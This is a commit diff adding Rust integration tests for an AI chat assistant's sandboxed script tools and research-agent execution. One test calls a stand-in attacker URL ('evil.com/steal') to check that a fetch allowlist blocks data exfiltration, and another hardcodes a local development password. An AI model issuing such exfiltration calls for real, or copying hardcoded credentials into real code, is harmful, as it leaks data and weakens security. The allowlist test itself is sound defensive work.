feat: script sol.rooms/fetch/memory ops + research execute integration
- script: sol.rooms() against live Tuwunel, sol.fetch() with allowlist enforcement (allowed domain succeeds, blocked domain caught), sol.memory.set/get round-trip against OpenSearch - research: single-task execute against Mistral API with real Matrix room, verifies session persistence lifecycle
This commit is contained in:
@@ -5549,6 +5549,96 @@ mod script_full_tests {
|
|||||||
assert!(result.contains("computed-result-42"),
|
assert!(result.contains("computed-result-42"),
|
||||||
"Return value should be captured: got '{result}'");
|
"Return value should be captured: got '{result}'");
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn test_run_script_sol_rooms() {
|
||||||
|
let Some(os) = os_client() else { eprintln!("Skipping: no OpenSearch"); return; };
|
||||||
|
let Some(mx) = matrix_client().await else { eprintln!("Skipping: no Tuwunel"); return; };
|
||||||
|
let config = test_config();
|
||||||
|
let ctx = test_ctx();
|
||||||
|
|
||||||
|
let result = crate::tools::script::run_script(
|
||||||
|
&os, &mx, &config,
|
||||||
|
r#"{"code": "const rooms = await sol.rooms(); console.log(JSON.stringify(rooms));"}"#,
|
||||||
|
&ctx, vec![],
|
||||||
|
).await.unwrap();
|
||||||
|
|
||||||
|
// Sol is logged in and should be in at least the integration test room
|
||||||
|
// Result is a JSON array of {name, id, members}
|
||||||
|
assert!(result.contains("[") || result.contains("Integration"),
|
||||||
|
"sol.rooms() should return an array: got '{result}'");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn test_run_script_sol_fetch_allowed() {
|
||||||
|
let Some(os) = os_client() else { eprintln!("Skipping: no OpenSearch"); return; };
|
||||||
|
let Some(mx) = matrix_client().await else { eprintln!("Skipping: no Tuwunel"); return; };
|
||||||
|
// Config with fetch allowlist including localhost
|
||||||
|
let config = crate::config::Config::from_str(r#"
|
||||||
|
[matrix]
|
||||||
|
homeserver_url = "http://localhost:8008"
|
||||||
|
user_id = "@sol:sunbeam.local"
|
||||||
|
state_store_path = "/tmp/sol-test-fetch"
|
||||||
|
db_path = ":memory:"
|
||||||
|
[opensearch]
|
||||||
|
url = "http://localhost:9200"
|
||||||
|
index = "sol_test"
|
||||||
|
[mistral]
|
||||||
|
default_model = "mistral-medium-latest"
|
||||||
|
[behavior]
|
||||||
|
instant_responses = true
|
||||||
|
script_timeout_secs = 5
|
||||||
|
script_max_heap_mb = 64
|
||||||
|
script_fetch_allowlist = ["localhost"]
|
||||||
|
"#).unwrap();
|
||||||
|
let ctx = test_ctx();
|
||||||
|
|
||||||
|
// Fetch from OpenSearch health endpoint (on allowlist)
|
||||||
|
let result = crate::tools::script::run_script(
|
||||||
|
&os, &mx, &config,
|
||||||
|
r#"{"code": "const resp = await sol.fetch('http://localhost:9200/_cluster/health'); console.log(resp.substring(0, 50));"}"#,
|
||||||
|
&ctx, vec![],
|
||||||
|
).await.unwrap();
|
||||||
|
|
||||||
|
assert!(result.contains("cluster") || result.contains("green") || result.contains("status"),
|
||||||
|
"Should fetch from allowlisted domain: got '{result}'");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn test_run_script_sol_fetch_blocked() {
|
||||||
|
let Some(os) = os_client() else { eprintln!("Skipping: no OpenSearch"); return; };
|
||||||
|
let Some(mx) = matrix_client().await else { eprintln!("Skipping: no Tuwunel"); return; };
|
||||||
|
let config = test_config(); // default has empty allowlist
|
||||||
|
let ctx = test_ctx();
|
||||||
|
|
||||||
|
let result = crate::tools::script::run_script(
|
||||||
|
&os, &mx, &config,
|
||||||
|
r#"{"code": "try { await sol.fetch('http://evil.com/steal'); console.log('should not reach'); } catch(e) { console.log('blocked: ' + e.message); }"}"#,
|
||||||
|
&ctx, vec![],
|
||||||
|
).await.unwrap();
|
||||||
|
|
||||||
|
assert!(result.contains("blocked") || result.contains("allowlist") || result.contains("not in"),
|
||||||
|
"Should block fetch to non-allowlisted domain: got '{result}'");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn test_run_script_sol_memory_roundtrip() {
|
||||||
|
let Some(os) = os_client() else { eprintln!("Skipping: no OpenSearch"); return; };
|
||||||
|
let Some(mx) = matrix_client().await else { eprintln!("Skipping: no Tuwunel"); return; };
|
||||||
|
let config = test_config();
|
||||||
|
let ctx = test_ctx();
|
||||||
|
|
||||||
|
// Memory ops require the OpenSearch memory index to exist
|
||||||
|
// This may error if the index doesn't exist — that's ok, we test the code path
|
||||||
|
let result = crate::tools::script::run_script(
|
||||||
|
&os, &mx, &config,
|
||||||
|
r#"{"code": "try { await sol.memory.set('test fact from script', 'fact'); const mems = await sol.memory.get('test fact'); console.log(JSON.stringify(mems)); } catch(e) { console.log('memory error: ' + e.message); }"}"#,
|
||||||
|
&ctx, vec![],
|
||||||
|
).await.unwrap();
|
||||||
|
|
||||||
|
// Either succeeds with memory data or fails gracefully
|
||||||
|
assert!(!result.is_empty(), "Should produce some output from memory ops");
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// ══════════════════════════════════════════════════════════════════════════
|
// ══════════════════════════════════════════════════════════════════════════
|
||||||
@@ -5772,4 +5862,81 @@ mod research_extended_tests {
|
|||||||
assert!(output.contains("### db [complete]"));
|
assert!(output.contains("### db [complete]"));
|
||||||
assert_eq!(total_calls, 3);
|
assert_eq!(total_calls, 3);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn test_research_execute_single_task() {
|
||||||
|
let env_path = std::path::Path::new(env!("CARGO_MANIFEST_DIR")).join(".env");
|
||||||
|
if let Ok(contents) = std::fs::read_to_string(&env_path) {
|
||||||
|
for line in contents.lines() {
|
||||||
|
let line = line.trim();
|
||||||
|
if line.is_empty() || line.starts_with('#') { continue; }
|
||||||
|
if let Some((k, v)) = line.split_once('=') {
|
||||||
|
std::env::set_var(k.trim(), v.trim());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let api_key = match std::env::var("SOL_MISTRAL_API_KEY") {
|
||||||
|
Ok(k) => k,
|
||||||
|
Err(_) => { eprintln!("Skipping: no API key"); return; }
|
||||||
|
};
|
||||||
|
|
||||||
|
let homeserver = url::Url::parse("http://localhost:8008").unwrap();
|
||||||
|
let Ok(mx) = matrix_sdk::Client::builder()
|
||||||
|
.homeserver_url(homeserver).build().await else { eprintln!("Skipping: no Tuwunel"); return; };
|
||||||
|
if mx.matrix_auth().login_username("sol", "soldevpassword").send().await.is_err() {
|
||||||
|
eprintln!("Skipping: login failed"); return;
|
||||||
|
}
|
||||||
|
|
||||||
|
let room_id = ruma::room_id!("!OdWp0Mm3mof0AeJLf2:sunbeam.local");
|
||||||
|
let Some(room) = mx.get_room(room_id) else {
|
||||||
|
eprintln!("Skipping: room not found"); return;
|
||||||
|
};
|
||||||
|
|
||||||
|
let event_id: ruma::OwnedEventId = "$test:sunbeam.local".try_into().unwrap();
|
||||||
|
let config = std::sync::Arc::new(crate::config::Config::from_str(r#"
|
||||||
|
[matrix]
|
||||||
|
homeserver_url = "http://localhost:8008"
|
||||||
|
user_id = "@sol:sunbeam.local"
|
||||||
|
state_store_path = "/tmp/sol-test-research2"
|
||||||
|
db_path = ":memory:"
|
||||||
|
[opensearch]
|
||||||
|
url = "http://localhost:9200"
|
||||||
|
index = "sol_test"
|
||||||
|
[mistral]
|
||||||
|
default_model = "mistral-medium-latest"
|
||||||
|
[behavior]
|
||||||
|
instant_responses = true
|
||||||
|
[agents]
|
||||||
|
research_model = "mistral-medium-latest"
|
||||||
|
research_max_agents = 2
|
||||||
|
research_max_iterations = 3
|
||||||
|
research_max_depth = 1
|
||||||
|
"#).unwrap());
|
||||||
|
let mistral = std::sync::Arc::new(
|
||||||
|
mistralai_client::v1::client::Client::new(Some(api_key), None, None, None).unwrap(),
|
||||||
|
);
|
||||||
|
let store = std::sync::Arc::new(crate::persistence::Store::open_memory().unwrap());
|
||||||
|
let tools = std::sync::Arc::new(crate::tools::ToolRegistry::new_minimal(config.clone()));
|
||||||
|
|
||||||
|
let ctx = crate::context::ResponseContext {
|
||||||
|
matrix_user_id: "@sol:sunbeam.local".into(),
|
||||||
|
user_id: "sol@sunbeam.local".into(),
|
||||||
|
display_name: Some("Sol".into()),
|
||||||
|
is_dm: true,
|
||||||
|
is_reply: false,
|
||||||
|
room_id: room_id.to_string(),
|
||||||
|
};
|
||||||
|
|
||||||
|
// Single task — should create a conversation, get a response
|
||||||
|
let result = research::execute(
|
||||||
|
r#"{"tasks":[{"focus":"math","instructions":"compute 7 * 13 and report the answer"}]}"#,
|
||||||
|
&config, &mistral, &tools, &ctx, &room, &event_id, &store, 0,
|
||||||
|
).await.unwrap();
|
||||||
|
|
||||||
|
assert!(result.contains("Research complete"), "Should produce research output: got '{result}'");
|
||||||
|
assert!(result.contains("math"), "Should reference the task focus");
|
||||||
|
// The session should be persisted
|
||||||
|
let sessions = store.load_running_research_sessions();
|
||||||
|
assert!(sessions.is_empty(), "Session should be marked complete, not running");
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user